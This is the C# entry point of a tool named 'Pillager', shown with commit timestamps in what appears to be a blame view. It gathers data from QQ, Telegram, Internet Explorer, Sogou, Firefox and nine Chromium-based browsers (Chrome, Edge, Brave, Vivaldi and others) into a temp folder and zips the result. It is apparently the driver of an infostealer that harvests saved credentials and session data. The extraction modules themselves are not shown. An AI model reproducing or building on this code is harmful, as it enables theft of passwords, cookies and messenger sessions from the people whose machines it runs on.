2023-04-23 16:22:43 -07:00
|
|
|
|
using System;
|
|
|
|
|
using System.Collections.Generic;
|
|
|
|
|
using System.IO;
|
2023-09-27 17:07:33 -07:00
|
|
|
|
using System.IO.Compression;
|
2023-04-24 08:38:01 -07:00
|
|
|
|
using Pillager.Browsers;
|
2023-10-07 04:09:27 -07:00
|
|
|
|
using Pillager.IM;
|
2023-04-23 16:22:43 -07:00
|
|
|
|
|
|
|
|
|
namespace Pillager
|
|
|
|
|
{
|
|
|
|
|
internal class Program
|
|
|
|
|
{
|
|
|
|
|
static void Main(string[] args)
|
|
|
|
|
{
|
2023-06-20 01:09:56 -07:00
|
|
|
|
string savepath = Path.Combine(Path.GetTempPath(), "Pillager");
|
2023-09-27 17:07:33 -07:00
|
|
|
|
string savezippath = savepath + ".zip";
|
|
|
|
|
if (Directory.Exists(savepath)) Directory.Delete(savepath, true);
|
|
|
|
|
if (File.Exists(savezippath)) File.Delete(savezippath);
|
|
|
|
|
Directory.CreateDirectory(savepath);
|
2023-04-24 08:38:01 -07:00
|
|
|
|
|
2023-10-15 12:02:06 -07:00
|
|
|
|
QQ.Save(savepath);
|
|
|
|
|
|
2023-10-07 04:09:27 -07:00
|
|
|
|
Telegram.Save(savepath);
|
|
|
|
|
|
2023-04-24 08:38:01 -07:00
|
|
|
|
//IE
|
|
|
|
|
IE.Save(savepath);
|
|
|
|
|
|
2023-09-27 09:20:07 -07:00
|
|
|
|
//SogouExplorer < 12.x
|
|
|
|
|
OldSogou.Save(savepath);
|
|
|
|
|
|
|
|
|
|
//FireFox
|
|
|
|
|
FireFox.Save(savepath);
|
|
|
|
|
|
2023-04-24 08:38:01 -07:00
|
|
|
|
//Chrome
|
|
|
|
|
List<List<string>> browserOnChromium = new List<List<string>>()
|
|
|
|
|
{
|
|
|
|
|
new List<string>() { "Chrome", "Google\\Chrome\\User Data\\Default" } ,
|
|
|
|
|
new List<string>() { "Chrome Beta", "Google\\Chrome Beta\\User Data\\Default" } ,
|
|
|
|
|
new List<string>() { "Chromium", "Chromium\\User Data\\Default" } ,
|
|
|
|
|
new List<string>() { "Edge", "Microsoft\\Edge\\User Data\\Default" } ,
|
2023-09-27 17:07:33 -07:00
|
|
|
|
new List<string>() { "Brave-Browser", "BraveSoftware\\Brave-Browser\\User Data\\Default" } ,
|
2023-04-24 08:38:01 -07:00
|
|
|
|
new List<string>() { "QQBrowser", "Tencent\\QQBrowser\\User Data\\Default" } ,
|
2023-09-27 09:20:07 -07:00
|
|
|
|
new List<string>() { "SogouExplorer", "Sogou\\SogouExplorer\\User Data\\Default" } ,
|
2023-04-24 08:38:01 -07:00
|
|
|
|
new List<string>() { "Vivaldi", "Vivaldi\\User Data\\Default" } ,
|
|
|
|
|
new List<string>() { "CocCoc", "CocCoc\\Browser\\User Data\\Default" }
|
|
|
|
|
//new List<string>() { "", "" } ,
|
|
|
|
|
};
|
|
|
|
|
foreach (List<string> browser in browserOnChromium)
|
|
|
|
|
{
|
|
|
|
|
string chromepath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
|
|
|
|
|
browser[1]);
|
|
|
|
|
Chrome chrome = new Chrome(browser[0], chromepath);
|
2023-04-24 20:03:51 -07:00
|
|
|
|
chrome.Save(savepath);
|
2023-04-24 08:38:01 -07:00
|
|
|
|
}
|
2023-09-27 17:07:33 -07:00
|
|
|
|
|
|
|
|
|
//ZIP
|
|
|
|
|
ZipFile.CreateFromDirectory(savepath, savezippath);
|
|
|
|
|
Directory.Delete(savepath, true);
|
2023-04-23 16:22:43 -07:00
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|